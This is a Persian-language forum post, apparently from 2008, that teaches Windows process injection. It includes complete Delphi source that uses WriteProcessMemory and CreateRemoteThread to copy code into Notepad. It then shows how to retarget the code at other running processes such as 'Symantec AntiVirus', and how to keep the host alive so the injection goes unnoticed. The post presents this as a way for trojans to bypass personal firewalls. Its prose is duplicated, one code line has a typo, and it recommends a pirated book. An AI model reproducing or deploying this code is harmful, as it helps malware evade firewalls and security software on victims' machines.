۰۳-اسفند-۱۳۸۶, ۱۴:۴۰:۱۲
تو ادبیات امنیت نرم افزار ، Process Injection به تزریق کد باینری به فضای آدرسی پروسه های دیگه گفته میشه . سیستمهای عامل مدرنی که از مدل Protected Mode استفاده میکنن ، برای هر پروسه با استفاده از ترکیب حافظه حقیقی و مجازی ، فضای آدرسی مستقلی رو تعریف میکنن که اجزاء یک پروسه ( توابع ، متغیر ها ، اشاره گر ها ، رفرنس ها ، کتابخانه های اشتراکی و ... ) داخل اون فضا آدرس دهی میشوند . پردازنده ، به نوبت ، کد ماشین رو بصورت جداگانه از هر فضای آدرسی دریافت و پردازش میکنه .
اگر تو کد ماشین یا متغیر یا سایر موجودیت های باینری مورد نظرت رو ، بدون اینکه بطور مستقیم متعلق به یک پروسه باشن ، به فضای آدرسی اون پروسه تزریق کنی ، یک Process Injection انجام دادی .
کاربرد ضد امنیتی آن و...
اغلب فایروال های شخصی ، Access Control رو مبتنی بر پروسه فراخوان کد انجام میدهند . یعنی اگر فراخوانی کدی از طریق پروسه قابل اعتماد IExplorer.exe ( مرورگر ویندوز ) انجام شده باشه ، فایروال اجازه ایجاد اتصال شبکه رو میده و اگر نه ، خیر . یک تروجان ، برای اتصال به شبکه ، با وجود یک فایروال شخصی توفیق چندانی نخواهد داشت ، اما با استفاده از یک Process Injection ساده و تزریق کد باینری مورد نظر برای ایجاد اتصال شبکه ای ، به فضای پروسه IExplorer.exe میتونه فایروال رو دور بزنه .
یک مثال برای درک مفهوم :
تابع Main در بدنه پروسه قربانی اجرا میشه . نسخه اصلی کد با دریافت نقطه شروع خودش رو تنظیم میکنه لیکن انتشارش لزومی نداشت . بعد از ورود به کانتکست پروسه Notepad چند پیام نمایش داده میشه که نشاندهنده موفقیت آمیز بودن روند تزریق کد است
روتین Inject کد مورد نظر رو تزریق میکنه . به عنوان ورودی پروسه مورد نظر رو در نقش قربانی دریافت ، نقطه مناسب برای شروع کد تزریقی رو پیدا و با روشهای گفته شده در صفحه قبل فضای لازم برای ایجاد یک ریسمان راه دور رو به خودش اختصاص میده .
بدنه اصلی برنامه ابتدا یک نسخه از Notepad به عنوان مثال میسازد ، شماره پروسه رو دریافت و به روتین Inject ارسال میکنه . این روتین ، تابع Main رو به فضای آدرسی Notepad کپی میکنه . حالا کد ِ در حال اجرا ارتباطی با برنامه ساخته شده توسط ما نداره و روی حافظه مختص به Notepad اجرا میشه .
حالا به چه صورت ميشه متوجه شد نرم افزاري که اجرا نشده در چه فضايي اجرا ميشه؟ ابتدا هندل پروسه مورد نظرم - اينجا Notepad - رو بدست آوردم بعد فضاي مورد نظرم رو اختصاص دادم نهايتا" يك Remote Thread براي اجراي كد مطلوب ايجاد شده است .
براي مطالعه بيشتر در مورد جزئيات و الفباي كاركرد عناصر ويندوز خصوصا" با ديد توسعه كاربردهاي سيستمي و امنيتي كتاب Windows Internals مارك راشنوويچ از M$ Press رو بخون . قيمت نسخهء چاپي اش كه تهيه اون رو شديدا" توصيه ميكنم حدود 50 دلار است و نسخه الكترونيكي ش هم بصورت Warez منتشر شده است .
برای اینکه بتونید از این کدها استفاده کنید ، ابتدا باید کمی اونها رو تغییر بدید :
اين قسمت از سورس را حذف کنيد :
اين تابع يک نوت پد ايجاد ميکرد ... که ما ديگه باهاش کاي نداريم و بعد قسمت بعدي که بايد تغيير بديم
اين تابع بايد يه شکل زير نوشته شود.
توجه داشته باشین که nil اینبار در ابتدای شروع تابع نوشته شده.
البته مي شد هر دو تابع را در يک خط هم نوشت . براي اينکه سورس راحت تر قابل خوندن باشه و زياد با هم قاطي نکنيم به اين صورت تغيير دادم يادتون هم باشه که يک متغير به نام H از نوع HWND تعيريف کنيد
من براي اينجکت نام Power meter که در ويندوز به طور پيش فرض هميشه فعال هست استفاده کردم ميتويند نامهاي ديگري مثل Symantec AntiVirus هم استفاده کنيد ، براي اينکه چک کنيد تابع داره درست مسير دهي ميشه ميتونيد مقدار بازگشتي H را هم نشون بديد مثلا
اگر مقداري غير از صفر بود يعني درسته .. اگر هم مقدار صفر بود يعني هندل مورد نظر پيدا نشده ! در ضمن ميتونيد در قسمت MAIN تابع
را حذف کنيد که برنامه اي که اينجکت ميشه خاتمه پيدا نکنه و به کار عادي خودش ادامه بده .....
موفق باشید
اگر تو کد ماشین یا متغیر یا سایر موجودیت های باینری مورد نظرت رو ، بدون اینکه بطور مستقیم متعلق به یک پروسه باشن ، به فضای آدرسی اون پروسه تزریق کنی ، یک Process Injection انجام دادی .
کاربرد ضد امنیتی آن و...
اغلب فایروال های شخصی ، Access Control رو مبتنی بر پروسه فراخوان کد انجام میدهند . یعنی اگر فراخوانی کدی از طریق پروسه قابل اعتماد IExplorer.exe ( مرورگر ویندوز ) انجام شده باشه ، فایروال اجازه ایجاد اتصال شبکه رو میده و اگر نه ، خیر . یک تروجان ، برای اتصال به شبکه ، با وجود یک فایروال شخصی توفیق چندانی نخواهد داشت ، اما با استفاده از یک Process Injection ساده و تزریق کد باینری مورد نظر برای ایجاد اتصال شبکه ای ، به فضای پروسه IExplorer.exe میتونه فایروال رو دور بزنه .
یک مثال برای درک مفهوم :
کد php:
program Project1;
{$IMAGEBASE $13140000}
uses
Windows;
function Main(dwEntryPoint: Pointer): longword; stdcall;
begin
{grzebiemy w notatniku}
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
MessageBox(0, 'Czesc, teraz jestem tu w pamieci jako inny proces!', ':P', 0);
MessageBox(0, 'Teraz mozemy tu robic co chcemy', ':P', 0);
MessageBox(0, 'Nawet jezeli skasujesz *.exe, ja tu pozostane', ':P', 0);
MessageBox(0, 'skasuj mnie (plik *.exe)', ':P', 0);
MessageBox(0, 'widzisz?', ':P', 0);
MessageBox(0, 'mowilem Ci', ':P', 0);
MessageBox(0, 'Dobra, PAPA.', ':P', 0);
MessageBox(0, 'Notatnik sam zamkne za Ciebie ;)', ':P', 0);
ExitProcess(0);
Result := 0;
end;
procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;
var
ProcessHandle, PID: longword;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
begin
{zaczynamy nowy proces}
CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
{dajemy mu troszke czasu}
Sleep(500);
{no i wchodzimy w inna aplikacje :)}
GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Main);//oto nasza procedura "wsadowa"
CloseHandle(ProcessHandle);
//i to wszystko :)
//oprocz notatnika mozemy wykorzystac kazda uruchomiona w windowsie...
end.
تابع Main در بدنه پروسه قربانی اجرا میشه . نسخه اصلی کد با دریافت نقطه شروع خودش رو تنظیم میکنه لیکن انتشارش لزومی نداشت . بعد از ورود به کانتکست پروسه Notepad چند پیام نمایش داده میشه که نشاندهنده موفقیت آمیز بودن روند تزریق کد است
روتین Inject کد مورد نظر رو تزریق میکنه . به عنوان ورودی پروسه مورد نظر رو در نقش قربانی دریافت ، نقطه مناسب برای شروع کد تزریقی رو پیدا و با روشهای گفته شده در صفحه قبل فضای لازم برای ایجاد یک ریسمان راه دور رو به خودش اختصاص میده .
بدنه اصلی برنامه ابتدا یک نسخه از Notepad به عنوان مثال میسازد ، شماره پروسه رو دریافت و به روتین Inject ارسال میکنه . این روتین ، تابع Main رو به فضای آدرسی Notepad کپی میکنه . حالا کد ِ در حال اجرا ارتباطی با برنامه ساخته شده توسط ما نداره و روی حافظه مختص به Notepad اجرا میشه .
حالا به چه صورت ميشه متوجه شد نرم افزاري که اجرا نشده در چه فضايي اجرا ميشه؟ ابتدا هندل پروسه مورد نظرم - اينجا Notepad - رو بدست آوردم بعد فضاي مورد نظرم رو اختصاص دادم نهايتا" يك Remote Thread براي اجراي كد مطلوب ايجاد شده است .
براي مطالعه بيشتر در مورد جزئيات و الفباي كاركرد عناصر ويندوز خصوصا" با ديد توسعه كاربردهاي سيستمي و امنيتي كتاب Windows Internals مارك راشنوويچ از M$ Press رو بخون . قيمت نسخهء چاپي اش كه تهيه اون رو شديدا" توصيه ميكنم حدود 50 دلار است و نسخه الكترونيكي ش هم بصورت Warez منتشر شده است .
برای اینکه بتونید از این کدها استفاده کنید ، ابتدا باید کمی اونها رو تغییر بدید :
اين قسمت از سورس را حذف کنيد :
کد php:
{lets make a new process}
CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
{give it some time to wake up}
اين تابع يک نوت پد ايجاد ميکرد ... که ما ديگه باهاش کاي نداريم و بعد قسمت بعدي که بايد تغيير بديم
کد php:
GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);
اين تابع بايد يه شکل زير نوشته شود.
کد php:
H:= FindWindow(nil,'power Meter');
توجه داشته باشین که nil اینبار در ابتدای شروع تابع نوشته شده.
کد php:
GetWindowThreadProcessId(H, @PID);
البته مي شد هر دو تابع را در يک خط هم نوشت . براي اينکه سورس راحت تر قابل خوندن باشه و زياد با هم قاطي نکنيم به اين صورت تغيير دادم يادتون هم باشه که يک متغير به نام H از نوع HWND تعيريف کنيد
کد php:
Var
H:HWND;
من براي اينجکت نام Power meter که در ويندوز به طور پيش فرض هميشه فعال هست استفاده کردم ميتويند نامهاي ديگري مثل Symantec AntiVirus هم استفاده کنيد ، براي اينکه چک کنيد تابع داره درست مسير دهي ميشه ميتونيد مقدار بازگشتي H را هم نشون بديد مثلا
کد php:
Label1.Caption := Inttostr)H);
اگر مقداري غير از صفر بود يعني درسته .. اگر هم مقدار صفر بود يعني هندل مورد نظر پيدا نشده ! در ضمن ميتونيد در قسمت MAIN تابع
کد php:
ExitProcess(0);
را حذف کنيد که برنامه اي که اينجکت ميشه خاتمه پيدا نکنه و به کار عادي خودش ادامه بده .....
موفق باشید